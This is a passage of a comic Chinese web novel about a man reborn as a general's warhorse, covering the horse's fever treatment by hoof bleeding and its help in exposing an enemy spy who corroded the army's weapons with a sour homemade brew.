阿冬转头就去告诉马厩的守卫:“二位,还请你们速速去把秦老请来,也麻烦去禀告大将军一声,若是乌云撑不到明天早上,大将军见不到它最后一面,小的怕将军怪罪下来。”
“好,你等着,我们马上就去!”
两名守卫拉住了巡营的兄弟来值守,然后兵分两路,一人去找秦老,一人去禀霍霁风。
中军帐已熄了灯,帐内漆黑一片。
霍霁风板正地躺在床榻上。
黑夜中,他倏地睁开了双目,眼神炯炯,锐利异常。
而后是外头传来了脚步声,旋即是亲兵的声音穿透帐幕:“禀大将军,马厩守卫求见。”
“让他进来,”霍霁风坐起来。
士兵快速掀开帘帐:“大将军,乌云发烧,熬不过今晚!”
传达得精准过头了。
这一听,霍霁风心头一沉,好似魏常的大铁锤猛然砸在他胸口上,顾不
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上穿外衣,靴子一套就急匆匆往马厩而去。
大将军的脚步快,士兵得小跑才跟得上。
霍霁风前脚到,秦老后脚也来了,阿冬也打来了一桶凉水,擦拭着马儿的颈部、胸腹、四肢内侧,给宋铮做物理降温。
霍霁风拿过他手里的毛巾,亲自上手。
毛巾浸入凉水里,带起哗啦一声,接着拧干往宋铮身上擦。
阿冬协助秦老为马儿诊治。
一通忙活下来,霍霁风再次打湿毛巾,直接敷在宋铮的额头上。
宋铮顿感一阵惬意在身体里舒缓地荡漾开来,思维没有之前那么沉了,但仍不好受。他微微掀眼,只看见霍霁风忙乱中被打湿的中衣。
又听他急问:“秦老,乌云如何了?”
“看样子,是白天受到的惊吓还没有过去,热邪入心包,乱了心神了,”秦老边说边打开医药箱,“凉水散热起到的作用小,当务之急是给它放一放蹄头血,泻热开窍。”
放蹄头血就得去掉马掌,霍霁风当即命人取来起掌钳,要亲自操刀。
“秦老,哪两只蹄子?”
“它发热严重,呼吸急促,放两只前蹄的血,泻热效果更好。”
“好。”
霍霁风单膝落在干草上,阿冬与另外一名值夜班的马夫也赶紧帮忙。
虚弱的马儿更容易受惊,阿冬不停安慰:“乌云,我们现在是要救你,你可千万别挣扎,你要是乱蹬,会伤了马蹄,伤上加伤.....”
马夫小庄已经抬起了宋铮的一只前蹄:“它完全没有挣扎。”
阿冬:“..........”
知道他们是为自己做急救,宋铮自然不挣扎。
马蹄虚弱垂着,了无生气。
也挣扎不动。
“你们快点儿吧,”宋铮说话很吃力。
霍霁风扶稳了这只蹄子,开始卸马掌,这和剪指甲差不多,操作得当的情况下不会有痛觉,而操作之人动作娴熟,轻轻松松就把两只前蹄的马掌卸了。
接下来放血,就得交给秦老了,专业的人做专业的事。
秦老从箱子里取出放血针,用备好的烈酒消过毒,然后吩咐阿冬和小庄按住乌云,以防马儿刺痛时踢伤人。
阿冬与小庄齐齐扑在宋铮身上。
宋铮两眼一黑。
好沉。
霍霁风则固定住了宋铮的蹄子,他救马心切,对秦老道:“快开始吧。”
秦老点头:“给马蹄放血,是破釜沉舟的急救之法,看似简单实则得小心心细,出血如泉,其色变即可止,否则放血过多,反而是害了它。”
说话间,秦老已找准了马蹄上的下针穴位。
宋铮陡然发出高亢尖锐而又极其痛苦的嘶鸣:“咴儿——”
“咴儿咴儿——————”
“咴儿咴儿咴儿咴儿———————”
整个马厩里不管是在进食的还是站着睡觉的马,全部被宋铮的叫声吸引了目光,纷纷跟着叫起来,凌乱踢踏的马蹄声,叫声混杂在一起,使得整个马厩都乱糟糟的沸腾着。
霍霁风心疼至极,抚着宋铮额头安慰:“乌云莫怕,秦老还没有动手。”
宋铮:“............”
哦。
13.第 13 章
见过惨叫的马,没见过这么会惨叫的马。
秦老懵了会儿,看看左手抓着的马蹄,再看看自己持针的右手,我进针了吗??
“秦老,不用怀疑,您还没给乌云放血呢,”阿冬提醒。
霍霁风也道:“秦老,抓紧。”
“好好,”秦老找准了马蹄上的穴位,“给马蹄放血的手法有讲究,得快、准,做到急刺速退,才能让疼痛缩减到最小。”
宋铮叼住了霍霁风的衣服。
霍霁风正帮忙按住马蹄呢,感觉到身后拉扯,回头看,只见乌云的脑袋藏在他衣服后头,就像小孩儿怕疼一样。
心里莫名涌起一个想法。
真像人。
说话间,秦老手里的针已快速扎进了马蹄。
宋铮感觉到一瞬间的刺痛,但是能忍受,另一只前蹄也是一样,快速放血,待流出的血从暗红粘稠变为鲜红流畅,再有条不紊地包扎。
这招确实有奇效,宋铮的头脑又清明许多,全身都觉得舒畅了。
秦老收拾起药箱,同时叮嘱霍霁风:“大将军,乌云放完血,散了热了,但是身体还很虚弱,短时间内万万不可再让它冲锋陷阵,一定要好好修养。”
“明白,”霍霁风道,“再冲也是陷阵里,领教过了。”
宋铮:“............”
感觉受到了鄙视。
默默抿了抿嘴。
“后期的饮食也需多注意,要保证水源干净,喂的饲料得容易消化,阿冬,我交代你几点,你记下.....”秦老道。
“好嘞,”阿冬忙应。
霍霁风还不打算回去,依旧留在马厩。
宋铮歪在棉被上注视着他,见他蹲下来,莫名的心里安定,但前提要撇开让他上战场这件事。
一旁秦老交代了好了注意事项,又面向霍霁风说:“大将军,那老夫这就去给乌云煎药,它还需服用几副镇惊安神的药,方能治本。”
“有劳了,”霍霁风吩咐阿冬和小庄,“你们去帮忙。”
阿冬和小庄立即跟上秦老。
三人走了,马厩里没有安静下来,因为还有N多的马儿在叫唤。
它们都在安慰宋铮。
“老大,你看起来很虚弱,好像有点没用,但你一天不死,你一天都是我们老大,赶紧好起来吧。”
“老大,你几岁了?人类有个词叫老态龙钟,你是老了吗?”
“老大,你要死也应该死在战场上,而不是马厩,这是你以前说的!我们都不敢忘!”
“对,老大应该死在战场!”
“老大要死在战场上!”
......
好像安慰了,又好像没安慰。
宋铮使出力气,将脑袋顶在马厩的墙壁,借助墙壁折起耳朵:“你们安慰得很好,谢谢。”
“不客气老大。”
“老大,你比以前斯文了。”
马儿们又叽叽喳喳聊了会儿,渐渐平静下来。
霍霁风卷起袖子,重新拧毛巾帮他擦拭。
定朔关的天气还很炎热,晚上的风也带着白天的暑气,即便宋铮不发烧,用凉水擦身体也是舒爽的,他安静享受着。
心里想着小铃铛的事。
既然到了古代战场上,他是不是该竭力做点什么?
他有马的身体,人类的灵魂,与马与人都可以感同身受他们的处境,而这次上战场也让他切身认识到了,自己从来的那一刻就成为了他们的一员。
如果多用计,少发生正面冲突,那么边关的士兵们就能少牺牲一些,马厩里的战马也能大大降低丧命的风险。
半个时辰过去,阿冬回来了,手里捧着一只散发腾腾热气的大口碗。
“将军,小的按照秦老的交代,给乌云做了黄芪青草小米粥,可以补充水分,清解余热。”
宋铮昂起脑袋。
“小的将最嫩最新鲜的青草切成小段,用温水给它泡软了,然后再加入小米、黄芪和少量食盐一起熬,到小米熬成浓稠就成了,您闻闻,可香了。”
“办得不错,”霍霁风给予肯定。
“咴儿,”宋铮发出叫声,食物香气令他食欲大振,想吃。
霍霁风准备接碗。
阿冬往后退一步:“将军且慢,还不是时候,秦老熬的药汤也快好了,小的想着,汤药太苦,万一乌云不肯吃,我们就哄骗它喝一口药,吃一口小米粥。”
话音刚落,小庄来了,双手捧碗,微微躬身,脚下迈着极快的小碎步:“将军!秦老煮的汤药来了!”
早吃药早康复,他一刻不敢耽误,一路冲进宋铮的马厩内。
宋铮一嘴扎进药碗里。
虽体弱多病,但求生欲很强。
还想快点吃香喷喷的小米粥。
捧着小米粥的阿冬:“................”
自己好像又酸又菜又多余.......
做人时,宋铮吃过不少药,强身健体的西药,固本培元的中药,药吃多了,再苦也没感觉了。
喝完药后他慢慢享用小米粥,与刚才喝药相比判若两马,前者有些急切粗鲁,后者斯文优雅,并且不会让小米粥的汤汁沾到马嘴边缘的其他地方。
优雅得像贵公子。
这些小细节,都被霍霁风看在眼里。
霍霁风在宋铮看不见的盲区挑了挑眉,但见马儿吃得欢,有食欲,想来今天不会再有事,他也安心了。
一通折腾下来,阿冬和小庄各司其职去了。
霍霁风盘腿在干草上坐下,说起三个月前:“我为了驯服你,一天里有七八个时辰都与你待在一处,亲自给你喂粮,帮你刷洗,你要是真撒蹄子走了,定是我心中大痛....”
他不是忸怩之人,胸有块垒就要说出来。
宋铮默默听着,脑袋抵在霍霁风后腰处,柔软的耳朵在空气里抖了抖。
听着男人的自言自语,他睡着了。
这一觉睡到了天光破晓。
陪着他的人已经走了。
可是宋铮能嗅到干草上残留的余温,霍霁风才刚离开不久,应该就在几分钟前。
没一会儿,早起的阿冬过来了,换了些鲜嫩的苜蓿草之后又去给他做吃的,昨夜是黄芪青草小米粥,今天是淡竹叶水和麸皮草料糊。
竹叶水同样有
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清除体内剩余热毒的功效,还能促进新陈代谢,而麸皮草料糊是用麦麸、黑豆粉、胡萝卜和切碎的青草熬制,阿冬还加了些枣子,味道十分可口。
接下来的大半个月,宋铮的养病待遇都非常好,阿冬变着法的把他能吃的食物换着花样做出来。
他简直就是马中皇帝。
霍霁风也会天天过来,每天操练完了士兵便来到马厩。
这天,霍霁风真带来了一匹小母马。
母马的体型比宋铮小一些,通体雪白,毛发油亮,十分得漂亮,令马厩里的公马们都起了躁动,恨不得孔雀开屏。
然而,在宋铮还在惊愕中时,他就遭到了母马的嫌弃。
母马高高地昂着头颅:“你虽然很英俊,可是你弱不禁风,中看不中用,感觉被风一吹就会刮走,实在是抱歉,我不想成为寡马,你另寻良配吧。”
虽然但是....
如当头一棒!
这怕不是因为他摔了霍霁风,这厮故意找匹母马来打击报复他吧???
从这天以后,宋铮有四五天没搭理霍霁风,霍霁风给他刷背他躲开,喂他草料他不吃。
霍霁风也看出来了,生病是生病,娇气也是真娇气,马厩嫌脏了,跑几步就得歇了,动不动还不理人了 。
这还是他的马儿吗?是他祖宗吧?
“大将军!”曹卫面色急切,步子如风地冲进马厩,一到霍霁风面前就跪下了,抱拳颔首,“大将军,属下来告罪了!”
“你何罪之有?”霍霁风卷着袖子,弯腰在脚边的水桶里清洗刷子。
而后拿起挂在桶边的毛巾,在洗刷子的水里浸了浸,拧干后要给宋铮擦脸。
宋铮一看刷过背的水也不换换,直接要给他上脸,爱干净的他怎么愿意,霍霁风一抬手他就咬住了他手里的毛巾,一扯,脑袋一甩,毛巾从霍霁风手里抽出来。
啪!打在霍霁风脸上。
结结实实的。
曹卫要开口的话一顿。
霍霁风从脸上掀开毛巾,最近乌云有点脾气,他见怪不怪了:“快说。”
“是!”曹卫禀报,“方才属下带人清点兵器,发现有大批器械腐蚀,已经不能用了,边关少雨,气候又干燥,绝不是因为天气的缘故,属下只有一个猜测,那就是属下监管疏漏,混入了奸细!特向大将军告罪!”
宋铮也随之心头一紧。
兵器损毁是大事!
它们如同将士们的左膀右臂,手持兵器才能御敌,赤手空拳对敌人的金戈铁马无异于送死。
损失了多少?严不严重?直接关系到战役的输赢,将士们的性命。
霍霁风的眼里在陡然覆上骇人的阴霾,二话不说,大步离开了马厩。
“咴儿,”宋铮下意识发出叫声,哒哒哒地跟在了霍霁风身后。
他也要去看看。
“诶?诶!”在帮其他马儿换草料的阿冬见状傻眼。将军要去处理军中事务,乌云跟着去干什么?
他也小跑步追上去,“乌云!乌云你快回来!”
刚洗完澡,马鞍缰绳都还没装上,阿冬根本就牵不住他,等他回头去取缰绳,宋铮早跑远了。
14.第 14 章
一行人来到了军械库。
把手军械库的士兵一个个低垂着脑袋,羞愧于自己守卫不利,才导致了这场事故。
宋铮紧随在霍霁风身后,因为士兵们的羞愧,都忘记了要拦他。
军械库内,目之所及都是一排排木头打造的货架,每排货架之间间隔丈余,延伸至军械库的深处,要不是宋铮如今是马,视力远超人类,真是一眼都望不到底。
最外侧的货架上,整齐码放着成百上千的皮甲与铁甲。
皮甲用鞣制的牛皮制成,叠得方方正正,摞起来有半人高,铁甲则是玄铁与精钢混铸,每一套都用麻绳固定在货架上,从肩甲到腿甲一应俱全。
宋铮粗略估算了下,单是这一排货架上的甲胄,便足够装备一个百人队。
再往里面储存的便是兵器。
马槊如林般斜插在木槽里,丈二长的枪杆是上好的楠木,长刃裹着黑色的油布。
“将军,您看,”曹卫的神色凝重。
他一把揭掉油布,露出了长刃上的锈迹斑斑,接着从旁抽出另一把马槊,两把兵器相撞,空气里发出“咔嚓”一声响,两把马槊的长刃全断了。
连宋铮不由心惊,士兵们拿着这样的武器上战场,那是必死无疑。
霍霁风眯起了眼。
胸腔里升腾起平静表面下燎原的杀意。
拳头硬了!
曹卫道:“除了马槊,还有咱们的羽箭、长刀、三架床弩都出现不同程度的腐蚀,属下每隔七天就清点一次库存,每隔一月命人上护铁油,回回都是属下亲自监督,容不得底下人出差错,不可能这么短时间内出现大批兵器的损毁,除非....”
“除非是有奸细,”霍霁风走到其他货架前,“还不止一个。”
曹卫惭愧,噗通又跪了下去:“请大将军治属下监管不力之罪!”
“你的确是监管不力,但当务之急是封锁消息,免得乱我大澜军心,”霍霁风身体里的嗜血欲望蠢蠢欲动,恨不得单枪匹马冲进北梁的军营里直接斩下对方将领首级。
不过边关打仗不可逞一时之勇,定朔二十万大军的性命更系于上级的将领身上。
“是,属下一定让底下的士兵把嘴闭严了!”
曹卫即刻就把军械库的士兵全部集中起来,一个都不放过。
在曹卫对着士兵们训话时,宋铮随霍霁风研究起了被腐蚀的兵器。
上个月清点时没有发现兵器的问题,也就是说,事情发生在这个月,短短一个月内要让仔细保养并且定期上护铁油的兵器生锈,甚至生锈到不可用的程度,不是泼点水就能办到,必定要用到某种药水。
大批兵器生锈,就要用到大批的药水。
可是奸细再多,也不可能总随身揣着药水,很容易暴露。
那么大量的药水哪里来呢?
又怎么能神不知鬼不觉地制造出大量药水涂抹在兵器上?
霍霁风与宋铮想到了一处。
他从货架上抽出了一把长刀,锃亮的刀身上也有着被腐蚀的迹象,还有些干涸的透明物体,不知是何物.....
霍霁风喃喃出声。
宋铮观他表情就明白,一看就是没学好数理化,把大将军给难住了。
他凑近兵器,用强大的嗅觉嗅了嗅,闻到了刀刃上泡菜水与食醋等味道。
这就很好推理了。
为了储存食物,军营的伙房里有腌制泡菜是再正常不过了,尤其是腌制许久的老坛水,加入食醋后酸性极强,发酵出的醋酸浓度可达 3%-5%。
再者,军营医疗帐中的铁苋菜是非常常见的草药,量大管够,很容易取到,在醋酸水中加入捣碎的铁苋菜,再混入食盐,加入马尿和融化的小量桐油,就能搅拌成粘稠的液体,这时候药水的酸性浓度可达 8%-10%,粘性强,能牢牢附着在兵器上。
这样的法子虽简单,但可怕之处就是:原料取自日常,制作过程隐蔽,腐蚀效果自然。
超级适合奸细来干。
“咴儿咴儿,”宋铮着急告诉霍霁风。
霍霁风被两声“咴咴”拉回神,愣了愣:“你怎么在这儿?”
他到此时才发现马儿一直跟着他。
“我来帮你破案,”宋铮用脑袋顶了下货架,“兵器被毁,不是一两个奸细就能做到的,伙房、工匠营、医疗营、马厩....这些奸细组成了一个架构在暗箱操作,你要把所有奸细都揪出来,就要顺着药水制作这条线索去挖,否则就是治标不治本....”
“好乌云,不闹,”霍霁风道,“我有要务处理,回头再陪你。”
“你陪我不如不陪我,没点默契。”
宋铮凑到腐蚀的长刀边,做出“嗅”的动作,又用鼻子顶了顶。
霍霁风猜:“你要吃?”
对,泡菜水能吃,算是理解了一点。
“咴儿咴儿。”
“有你喜欢的味道?”霍霁风也凑近闻了会儿。
腐蚀处的味道很怪很杂,但其中最明显的是有股酸味儿。
接着宋铮哒哒哒往外跑。
曹卫还没训完话,军械库的士兵各个立得笔挺,也全都在这儿了。
宋铮走过来,绕着他们嗅来嗅去,突然就叼住了一名士兵的衣领。士兵被他拽了个踉跄,回头低喝:“你干什么!”
其他人也纷纷把目光投向宋铮。
宋铮没有撒嘴,使劲儿想把士兵撂倒,士兵也不是吃素的,薅住了自己衣服就是不倒地。
“参军,乌云是不是发疯了,它咬我做什么?!”
大将军的专属坐骑谁敢伤?士兵只能向曹卫求救,曹卫还没开口,霍霁风过来了:“住手!”
也不知道是训马还是训士兵。
但宋铮住不了手。
因为没有,只有蹄子。
倒是士兵一松手,他总算是把人拖拽倒了。
士兵是脸朝下,趴着倒在地上,但其实这一下摔得并不疼,摔跤对于打仗的人来说不痛不痒,痛的是怀里坚硬的东西咯到了胸口,那才是结结实实的钝痛。
“咳、咳咳.....”士兵揉着胸口从地上爬起来,面朝霍霁风,低眉颔首,“大将军,乌云方才突然对属下发狂,属下不知其原因。”
宋铮没再动作,只打了两个响鼻,然后躺下来了。
气喘吁吁。
士兵们:“........”
曹卫:“........”
到底是马撂倒了人,还是人撂倒了马?很难评。
霍霁风:习惯了。
看着马儿累坏的样子,霍霁风在心里又郁闷了一下,稍稍发个狂还把自己累着了,越来越娇了。
不过他信乌云聪慧有灵性,不会无缘无故
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发狂。
眼神如利刃,钉在面前的士兵身上,闻到了对方身上散发出的淡淡酸味。
霍霁风下令:“来人,搜他身!”
士兵们很是费解,但大将军下令,无人敢有异议。曹卫亲自动手,从这名士兵的衣服里搜出了一些碎片,他蹲下身闻:“酸的,怎么这么像伙房的酸菜?”
霍霁风一眼明了,此人就是奸细之一。
假若没有乌云将此人撂倒,也不会让他磕碎了怀里的瓶子,那么里面的酸味就不会散发出来。
曹卫话音刚落,这名冒牌大澜兵便口吐乌血,隐忍着剧痛倒了下去。
一命呜呼。
曹卫一惊:“是死士!”
霍霁风将尸体翻转过来,拽下领子,尸体的肩膀处有洛铁烫出来的“囚”字:“是赵阔的死士,北梁的权贵喜欢培养死士,尤其喜欢从死刑犯里挑人,训练成没有感情唯命是从的杀人利器,赵阔尤胜。”
曹卫咬牙切齿:“此人果然毒辣!”
霍霁风当机立断,命陆十九调来一队亲兵,配合曹卫一一搜查军械库的士兵。
碎裂的瓷片还沾有腐蚀性液体,送至中军帐,请来王秀兰、高崇山,以及军营的军医来辨别里面的成分,从材料里分析有可能接触过的士兵,从而挖掘其他死士。
除此外,霍霁风还要派人带着他亲自书写的檄文快马加鞭去调配新的兵器。
更要重新部署军营的布放,以防北梁趁机再来偷袭。
中军帐议事的人员进进出出,霍霁风从得知兵器被腐蚀到各种议事、安排、下令,就没有空下来过。
营帐外的天都黑了,帐内点了灯。
宋铮也在账内。
他寸步不离,跟随着霍霁风从军械库来到中军帐,来了他就寻了个角落躺下,以此来缩小自己的存在感。
帐篷的空间比他的马厩大,空气十分良好,地上干净没有杂物,他很喜欢。
而高崇山他们商量军中事务要紧,哪里顾得上是不是有匹马在。
帐帘又一次掀了起来。
进来的人是林六,端来了大将军的晚饭,有两张麦饼,表面刷了一层胡麻油,闻着特别香,还有一碗粟米饭,一碗萝卜炖羊肉。
可把宋铮馋坏了!
阿冬给他做的吃食是很精细,可都是素的,马能受得了,他人类的灵魂受不了。
林六见帐里有马在,感到有些惊奇,一想将军都没说什么,他怎么能把乌云赶出去,于是放下晚饭就走。
宋铮挪到了案几旁。
嗅来嗅去。
马的牙齿、胃、肠胃...一整套消化系统都是以植物为食,不能吃肉,这点宋铮是清楚,但舔两口不为过吧?
趁着没人注意这边,他吧滋吧滋舔起来。
可是就那么那么巧,挡住霍霁风视线的高崇山刚好走开一步,指着沙盘某处:“将军,您看这处,地势低矮,又连着密林,恰是易守难攻,如果北梁发难,说不定就会埋伏在此处.....”
可霍霁风看不了一点,他只看见从来不会对肉类产生兴趣的乌云在舔羊肉。
?!
马吃不了肉,他心头一急,正要过去,只见乌云把从碗里舔出来的羊肉含进嘴里,紧接着就吐了回去。
然后装作没有舔过的样子。
霍霁风:“.........”